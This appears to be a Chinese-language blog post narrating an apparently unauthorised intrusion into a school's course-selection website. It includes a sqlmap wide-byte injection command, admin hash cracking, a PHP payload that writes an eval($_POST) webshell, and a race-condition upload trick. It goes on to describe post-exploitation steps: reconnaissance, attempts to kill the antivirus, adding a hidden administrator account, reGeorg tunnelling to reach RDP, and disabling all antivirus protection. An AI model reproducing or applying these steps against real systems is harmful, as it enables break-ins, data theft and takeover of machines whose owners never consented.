记一次简单的渗透测试

1,277 阅读5分钟

前言

之前对渗透这方面的学习一直只是学到了Getshell为止,但是其实渗透可以说Getshell仅仅是一个开端,接下去的还有远程连接,域渗透等领域,这次刚好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程

SQL注入

该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,居然扫出了一个注入,一看,原来是个宽字节注入 image.png

简单测了一下,发现并没有什么过滤,那就常规操作,用SQLmap跑一下

python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes

接下来便是爆库,爆表,爆列,爆值等常规操作。 获取Admin表中的账号密码,虽说密码是md5加密的了,但是去cmd5平台上一查,还是很方便的进入了后台 image.png

Getshell

接下来便是寻求Getshell的机会了 image.png

注意到这里有个上传文件的地方,从源码中可以看到是Fckeditor编辑器 从网上搜索相关的漏洞,首先先查看版本 image.png

发现是2.6.6版本的,遗憾的是只能找到2.6.6asp版本的洞,PHP版本的并不能找到相关的漏洞,而用了几个EXP去试试运气也都碰壁了,渗透本来到此就受阻 但是突然发现还有一个上传学生名单的接口 image.png

测试了一下,只有一个简单的前端认证,并且用burpsuite一看,还有了惊喜的发现

image.png

文件不仅上传成功了,并且还返回了相应的路径,当下便想到来连shell了,但当我想来连之时,却发现文件被删了,由文件路径里面有个temp,一下子就想到后端肯定写了一个自动清空temp目录的函数,但是解决思路也是很明确的,就是条件竞争嘛,通过多线程发包的方法,来实现一定时间内的文件访问 这里我将要发包的文件改为:

<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>

只要我们能访问到它一次,这个程序就会自动在父目录里面写入一个shell,也就实现了跳出temp目录的写shell了。 用burpsuite的intruder模块不断发包,再访问我们上传的文件,便实现了成功写shell的目的,如图,Getshell: image.png

image

系统信息搜集

systeminfo查看系统相关信息 image.png

netstat -ano查看开放的端口 image.png

可以看到3389端口是打开的,也就是可以进行远程连接 whoami查看当前用户 image

远程连接

可以看到是system权限,本来我以为大功告成,接下来就是创建管理员用户,进行远程连接之时,但是发现无论如何都无法把用户添加进管理员组 在网上查了很多资料,有人说是可能有杀毒软件。tasklist一看,果然有360 那么问题到这里就只有三条路了: 1. 杀掉360,看看能不能利用system的高权限杀掉360 2. 得到其他管理员账户的密码或者密码的hash值,利用其他管理员的账户进行登录 2. 绕过360创建一个管理员账号

我对这三种情况都进行了尝试:

  • 方法1:我尝试利用taskkill来杀掉360的进程,但是始终报错,网上的资料五花八门,有的说system权限可以用taskkill来关闭360,也有的说360的主动防御进程(ZhuDongFangYu.exe)是在系统Ring0层,即使system权限也无法用taskkill来关掉,至少在这次渗透中,我渗透的机器,是没办法直接用taskkill来关掉360进程的,包括网上所讲的sc delete方法在这台机子上也是行不通的(会被拦截),至少现在看起来这条路堵死了

  • 方法2:当我上传Quarks PwDump.exe和各种软件时,无一例外都会被360拦截,看起来这条路也堵死了

  • 方法3:方法3就是我们最后的希望了,从网上看到资料说system权限下可以用Windows API的方法来创建管理员账户,而这种方法360不会拦截,具体可以参见这篇文章: [【编程】创建用户,并添加至管理组] 但是比较蛋疼的一点是我电脑没有VS,编译不了这个文件,而宿友也都没有一个人安装的(毕竟他实在是太大了) 好在我在github上找到了一个别人编译好的版本 github.com/cckuailong/… 运行了一下,成功添加用户 image.png

    那么就只剩最后一步了,进行远程连接,但是当我想直接连接的时候,发现居然连不上,用nmap扫了一下端口,发现3389没有开启,但是上面的netstat -ano显示3389是有开启的,那就只能说明3389端口是开在内网的,我们得进行一下内网穿透,把流量转发出来,使用reGeorg进行内网穿透。

将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php,php<5.3不能正常使用tunnel.php) 访问目标文件: image.png

说明配置正常 最后,我们就能成功的使用远程连接了,上了远程连接后,首先退出360所有防护,为接下来的进一步渗透做准备

这次的渗透就先到这里,接下来的域渗透,就等以后有时间再来学习和钻研了。

写在后面

这是我第一次进行后Getshell的渗透,写的可能很啰嗦并且很LOW,但是主要目的还是想让我自己记住这一此渗透学习到的知识,等以后有时间了再来继续进行下一步的域渗透

[渗透书籍领取] 渗透测试书籍 [渗透视频领取] 渗透视频

参考文章

DNS劫持 逆向工程IDA 内网渗透